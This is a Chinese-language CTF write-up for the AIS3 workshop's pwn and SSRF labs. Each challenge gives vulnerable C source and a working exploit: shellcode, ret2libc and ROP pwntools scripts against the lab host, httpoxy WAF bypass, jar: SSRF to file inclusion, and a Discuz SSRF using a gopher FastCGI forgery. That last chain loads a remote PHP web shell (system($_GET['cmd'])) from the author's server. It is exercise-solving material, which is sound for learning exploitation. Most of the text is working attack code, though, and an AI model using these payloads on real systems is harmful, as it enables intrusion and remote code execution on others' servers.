![](https://i.imgur.com/jEhADhe.png width:70%)

前言

AIS3 workshop是AIS3上課的pwn跟SSRF練習平台。 因為平台好像關惹,我也懶得重搞環境打一次 所以下面解法很多都是憑著印象打出來的,有錯請見諒

lab1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <unistd.h>

void get_flag(){
    int fd ;
    unsigned long password;
    unsigned long magic ;
    char key[] = "why_my_teammate_Orange_is_so_angry??";
    char cipher[] = "hahaha";
    fd = open("/dev/urandom",0);
    read(fd,&password,8);
    printf("Give me maigc :");
    scanf("%lu",&magic);
    if(password == magic){
        for(int i = 0 ; i < sizeof(cipher) ; i++){
            printf("%c",cipher[i]^key[i]);
        }
    }
}


int main(){
    setvbuf(stdout,0,2,0);
    get_flag();
    return 0 ;
}

這題他讀了一個random的的password 然後要我們輸入的magic跟他一樣才會印出flag 要繞過這個判斷 可以用gdb跑 然後先下個斷點讓他停住

1
b *0x4007a1

接著

1
set $rip=0x4007c9

讓她直接跳過判斷去執行後面指令 FLAG就會彈出來了


## Practice1
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//gcc bofe4sy.c -fno-stack-protector -o bofe4sy
void l33t(){
    puts("Congrat !");
    system("/bin/sh");
}


int main(){
    char buf[0x20];
    setvbuf(stdout,0,2,0);
    puts("Buffer overflow is e4sy");
    printf("Read your input:");
    read(0,buf,100);
    return 0 ;
}

這題題目super短,一臉就是直接跳到l33t就能拿到shell的樣子 payload:

1
perl -e 'print "a"x40, "\x46\x06\x40\x00\x00\x00\x00\x00"'

## Practice2
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#include <unistd.h>
#include <stdio.h>
#include "mysandbox.h"

char shellcode[200];

int main(){
    setvbuf(stdout,0,2,0);
    my_sandbox();   
    printf("Give me your shellcode:");
    read(0,shellcode,200);
    (*(void(*)())shellcode)();
}

這題就是執行我們輸入的shellcode 題目還說flag在/home/orw64/flag 就是個寫shellcode的練習

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

host = "pwnhub.tw"
port = 11112

r = remote(host, port)
context.arch = "amd64"

sc = asm("""
    xor rdi, rdi
    xor rsi, rsi
    xor rdx, rdx
    jmp str
open:
    pop rdi
    mov rax, 2
    syscall
read:
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 0x50
    xor rax, rax
    syscall

    mov rdx, rax
    mov rsi, rsp
    mov rdi, 1
    mov rax, 1
    syscall
exit:
    mov rax, 60
    syscall
str:
    call open
    .ascii '/home/orw64/flag'
    .byte 0
""")
r.recvuntil(":")
r.send(sc)
r.interactive()

## lab2
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#include <stdio.h>

char name[50];

int main(){
    setvbuf(stdout,0,2,0);
    printf("Name:");
    read(0,name,50);
    char buf[30];
    printf("Try your best:");
    gets(buf);
    return ;
}

這題就是個沒開DEP,然後塞shellcode到name 再蓋return address成name的位址 就能執行shellcode的概念

payload:

1
perl -e 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\n","a"x62, "\x80\x10\x60\x00\x00\x00\x00\x00"'

FLAG大概長這樣:AIS3{JumP_to_sh3llcod3_jUmp_t0_th3_w0rld}


## lab3
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void See_something(void *addr) 
{
    unsigned long long *address ;
    address = (unsigned long long *)addr ;
    printf("The content of the address : %p\n",*address);
};

int main(){
    char address[10] ;
    char message[256];
    unsigned int addr ;
    puts("###############################");
    puts("Do you know return to library ?");
    puts("###############################");
    puts("What do you want to see in memory?");
    printf("Give me an address (in hex) :");
    fflush(stdout);
    read(0,address,10);
    addr = strtoll(address,0,16);
    See_something(addr) ;
    printf("Leave some message for me :");
    fflush(stdout);
    gets(message);
    printf("%s\n",message);
    puts("Thanks you ~");
    return 0 ;
}

這題就是return to libc 可以先塞puts的got位址給他 他會讀出puts_got的值 我們就可以用puts_got - puts_offset算出base address 有base就輕鬆惹 system的位址 = base + system offset 再來參數塞/bin/sh的位址就能拿到shell了

然後64位元參數優先用register傳遞,跟32位元的stack抓參數不太一樣 所以我們要先找個pop rdi的gadget 把/bin/sh的位址pop到rdi裡 再跳到system位址才能拿到shell

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *
puts_got = "601018"
puts_off = 0x6f690
gets_off = 0x6f440
system_off = 0x45390
sh = 0x4003c4
pop_rdi = 0x400843
r = remote('pwnhub.tw', 8088)
r.send(puts_got + "\n")
r.recvuntil('The content of the address : ')
puts_addr = r.recvline()
base = int(puts_addr,16) - puts_off
gets_addr = base + gets_off
system_addr = base + system_off
r.send("A"*280 + p64(pop_rdi) + p64(sh) + p64(system_addr) + p64(system_addr) + "\n")
r.interactive()

FLAG看起來長這樣:AIS3{ret_2_lib_1s_v3ry_coMm0n_in_r34l_w0rld}


## lab4
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#include <stdio.h>
#include <unistd.h>
//gcc -fno-stack-protector -static simplerop_revenge.c -o simplerop_revenge
int main(){
    char buf[20];
    puts("ROP is easy is'nt it ?");
    printf("Your input :");
    fflush(stdout);
    read(0,buf,160);
}

這題就是要我們自己組ROP拿shell 一般來說這種靜態編譯都有很多ROP gadget 可以用工具ROPgadget –binary simplerop_revenge –ropchain 來幫我們自動組Gadget拿shell 但缺點就是可能太長塞不下,所以要手動組

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

offset = 40

r = remote('pwnhub.tw',8361)
context.arch = "amd64"

# flat([0x4000,0x36]) 等同 p64(0x4000)+p64(0x36)
payload = 'a'*40
mov_drdi_rsi = 0x47a502
pop_rdi = 0x401456
pop_rsi = 0x401577
pop_rax_rdx_rbx = 0x478516
syscall = 0x4671b5
buf = 0x6c9a20
rop = flat([pop_rdi, buf, pop_rsi, "/bin/sh\x00", mov_drdi_rsi,pop_rsi,0,pop_rax_rdx_rbx,0x3b,0,0,syscall])

payload += rop
r.sendline(payload)
r.interactive()

FLAG大概長這樣:AIS3{rop_Rop_Rop_then_RIP}


## lab5
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#include <stdio.h>
#include <stdlib.h>

    int main(){
        char buf[20];
        setvbuf(stdout,0,2,0);
        printf("Try your best :");
        gets(buf);
        puts("boom !"); 
    }

這題題目爆幹短 思路大概是這樣,call puts_plt把puts_got的值輸出出來 然後一樣減掉puts_offset就能得到base address 接著可以再call一次main去構造我們的system("/bin/sh")

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
puts_got = 0x601018
puts_plt = 0x4004e0
puts_off = 0x6f690
system_off = 0x45390
sh_off = 0x18c177  #c99f
pop_rdi = 0x4006f3
main = 0x400636

r = remote('pwnhub.tw', 56026)

r.send("A"*40 + p64(main) + "\n")
r.send("A"*40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) + "\n")
r.recvuntil('boom !')
print r.recvline()
print r.recvline()
tmp = r.recvline().strip()
print enhex(tmp)

cool = input()  
# 這裏是因為我不知道怎把抓到的位址轉成值,所以直接手動輸入ㄏㄏ python好難QQ

base = cool - puts_off
base2 = cool - puts_off
system = system_off + base2
sh = sh_off + base

r.send("A"*40 + p64(pop_rdi) + p64(sh) + p64(system) + p64(system) + "\n")
r.interactive()

## bonus

這題沒給source code objdump出來長這樣:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    ./end:     file format elf64-x86-64

    Disassembly of section .text:

    00000000004000b0 <_start>:
    4000b0:   48 31 c0                xor    rax,rax
    4000b3: 48 31 db                xor    rbx,rbx
    4000b6:   48 31 c9                xor    rcx,rcx
    4000b9: 48 31 d2                xor    rdx,rdx
    4000bc:   48 31 ff                xor    rdi,rdi
    4000bf: 48 31 f6                xor    rsi,rsi
    4000c2:   4d 31 c0                xor    r8,r8
    4000c5: 4d 31 c9                xor    r9,r9
    4000c8:   4d 31 d2                xor    r10,r10
    4000cb: 4d 31 db                xor    r11,r11
    4000ce:   4d 31 e4                xor    r12,r12
    4000d1: 4d 31 ed                xor    r13,r13
    4000d4:   4d 31 f6                xor    r14,r14
    4000d7: 4d 31 ff                xor    r15,r15
    4000da:   48 31 ed                xor    rbp,rbp
    4000dd: e8 10 00 00 00          call   4000f2 <_end>
    4000e2:   b8 3c 00 00 00          mov    eax,0x3c
    4000e7: 48 31 ff                xor    rdi,rdi
    4000ea:   48 31 f6                xor    rsi,rsi
    4000ed: 48 31 d2                xor    rdx,rdx
    4000f0:   0f 05                   syscall 

    00000000004000f2 <_end>:
    4000f2: 48 81 ec 28 01 00 00    sub    rsp,0x128
    4000f9:   48 89 e6                mov    rsi,rsp
    4000fc: ba 48 01 00 00          mov    edx,0x148
    400101:   0f 05                   syscall 
    400103: 48 81 c4 28 01 00 00    add    rsp,0x128
    40010a:   c3                      ret 

這題關鍵就是要構造編號(rax)322的system call: stub_execveat 他跟execve一樣可以叫出shell,底層實作似乎一樣(我沒研究就是惹… 那要怎麼讓rax變成322呢… 很簡單,因為中間會call read讀資料,只要讀322 bytes 返回值rax就會等於322 接著我們輸入的時候一開始直接輸入/bin/sh\0 因為rsi(execveat的filename)原本就是輸入buffer的開頭,也就是/bin/sh,所以也不用特別處理 唯一要注意的是execveat的其他暫存器值要清成0才能work 在這題就是要把rdx清空才行((我一開始一直沒清,想說怎麼一直拿不到shell QQ 可以直接跳到0x4000ed的xor rdx, rdx就行,而且下一行就是syscall,讚讚

payload:

1
perl -e 'print "/bin/sh","\x00","\x0a\x01\x40\x00\x00\x00\x00\x00"x38,"\xed\x00\x40\x00\x00\x00\x00\x00","\xb0\xdd"'

FLAG大概長這樣:AIS3{r0p_is_e4sy_4nd_fUn}


## Bonus - HTTProxy

這題就是orange上課講的Header會被代成環境變數(加上HTTP_的prefix) 然後HTTP_Proxy又會被許多http library當成Proxy用 所以只要在我的Web Server新增這樣一個檔案: x.x.x.x/waf/index.php 內容為<?php echo 'ok'; ?> 接著curl --header 'Proxy: x.x.x.x' https://54.199.254.155/cgi-bin/?id=1 就能繞過waf惹,繞過之後直接對id做SQL injection就能拿到FLAG hitcon{Did you know httpoxy.org?}


## Bonus - Jar

這題有一個可以送出URL的地方 這裡可以SSRF,而且file://可以遍歷目錄 然後仔細觀察可以發現他有個?page=orange的參數 他會去load users/orange.tmp這個檔案

這題就是要利用到jar協議的特性 塞給他一個jar:形式的網址,他會去抓這個檔案做暫存,但是抓完就會刪除暫存 所以就是要想辦法塞給他惡意檔案,然後讓他抓完之後不立刻結束連線 再想辦法去跑這個暫存檔 這裡我是用https://github.com/pwntester/BlockingServer 在機器x.x.x.x上新建kaibro.php 跑Blocking Server: java BlokingServer 12345 kaibro.php URL的地方塞jar:http://x.x.x.x:12345/kaibro.php!/讓它卡住 再來用file:///tmp/去看暫存檔的名字,可能檔名叫jar_cache123456.tmp之類的 然後利用?page=../../../../../../tmp/jar_cache123456就可以跑我們的php囉

FLAG長這樣:hitcon{Life so hard :(}

Bonus - Discuz Pwn

Discuz因為感覺會很難所以沒解,剩下其他題的話解法應該Google都找得到(?


Update: 後來太無聊,跑去架了一樣的Discuz環境打打看 基本上,orange上課的投影片就已經是解法了XDD

因為_dfsockopen實作中,有FOLLOWLOCATION 所以可以利用SSRF 302跳轉的方式去偽造FastCGI協議

在我自己的Server上,建立一個302.php:

1
2
<?php
header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%8b%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/www//index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20=%20On%09%26PHP_VALUEauto_prepend_file%20=%20http://kaibro.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );

這一整串噁心的東西,主要就是在偽造FastCGI協議 然後讓他去include我Server上的php script (http://kaibro.tw/x)

Server上的x:

1
<?php system($_GET['cmd']); ?>

然後訪問http://thisdiscuzsite/forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img] 它就會成功include我們的x進來 也就可以執行webshell惹